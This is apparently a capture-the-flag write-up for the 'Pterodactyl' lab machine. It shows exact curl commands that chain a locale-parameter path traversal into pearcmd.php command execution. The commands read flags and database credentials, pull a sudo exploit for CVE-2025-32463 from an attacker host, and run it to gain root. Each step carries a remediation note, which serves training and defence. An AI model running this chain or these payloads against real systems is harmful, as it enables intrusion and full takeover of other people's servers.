Pterodactyl
Summary
I found a Pterodactyl game-panel deployment where a stray phpinfo.php page disclosed the exact nginx/PHP stack, and the panel's locale-loading endpoint accepted a directory-traversal payload with no path sanitization. By pivoting that traversal into PHP's bundled pearcmd.php utility, I turned a simple file-inclusion bug into full command execution as the web-server account (wwwrun).
From that foothold they read a local user's flag directly off disk (the web account had unrestricted read access to /home), recovered the panel's database credentials from local config, and enumerated the sudo binary to find it was vulnerable to CVE-2025-32463, a critical 2025 sudo chroot flaw. Building and running the public proof-of-concept for that CVE through the same web-shell channel escalated the web user straight to root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 1
Confirms nginx/1.21.5 and PHP/8.4.8 from the exposed debug page.
$ curl --resolve pterodactyl.htb:80:$TARGET -sS --max-time 20 -i http://pterodactyl.htb/phpinfo.phpFixRemove debug/info-disclosure scripts from productionLow
Exact commands 1
Confirm the traversal reaches outside the locales directory.
$ curl --resolve panel.pterodactyl.htb:80:$TARGET --globoff -sS --max-time 20 --path-as-is -i 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=idraw'FixSanitize the locale parameter to prevent path traversalCritical
Exact commands 1
Executes 'id' as the web-server user through the pearcmd LFI-to-RCE chain; swap the c= value for any command.
$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode 'c=id' http://$TARGET/locales/locale.jsonFixHarden the PHP runtime so file-inclusion bugs cannot become code executionCritical
Exact commands 2
Reads the flag through the RCE channel; output is <user.txt>.
$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/./' --data-urlencode 'namespace=w1' --data-urlencode 'c=cat /home/phileasfogg3/user.txt' http://$TARGET/locales/locale.jsonRun from the wwwrun shell using panel DB creds found in local Laravel config.
$ mariadb -h127.0.0.1 -upterodactyl -p$PASSWORD2 panel -N -e 'show tables;'FixRestrict file permissions and credential storage reachable by the web accountMedium
Exact commands 2
Confirms Sudo 1.9.15p5 through the RCE channel.
$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode 'c=sudo -V | head -8' http://$TARGET/locales/locale.jsonLocate the public PoC/exploit (EDB-ID 52352) on my host.
$ searchsploit 'CVE-2025-32463'FixPatch sudo to a version fixed against CVE-2025-32463Critical
Exact commands 4
On my host, serve the downloaded 52352.txt (sudo-chwoot.sh) PoC.
$ python3 -m http.server 8008Pull the PoC onto the target via the RCE channel; replace $ATTACKER_IP with your listener IP.
$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode "c=curl -s http://$ATTACKER_IP:8008/52352.txt -o /tmp/sudo-chwoot.sh && chmod 700 /tmp/sudo-chwoot.sh" http://$TARGET/locales/locale.jsonExtract the runnable exploit body from the PoC wrapper.
$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/./' --data-urlencode 'namespace=w1' --data-urlencode "c=sed -n '/^#!\/bin\/bash$/,/^\*----------------------\*/p' /tmp/sudo-chwoot.sh | head -n -1 > /tmp/sudo-chwoot-exec.sh; chmod 700 /tmp/sudo-chwoot-exec.sh" http://$TARGET/locales/locale.jsonRun the exploit; output confirms uid=0 and reveals <root.txt>.
$ curl --globoff -sS -G -H 'Host: panel.pterodactyl.htb' --data-urlencode 'locale=../../../../../tmp/././' --data-urlencode 'namespace=w1' --data-urlencode "c=printf 'id\ncat /root/root.txt\nexit\n' | bash /tmp/sudo-chwoot-exec.sh" http://$TARGET/locales/locale.jsonAttack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.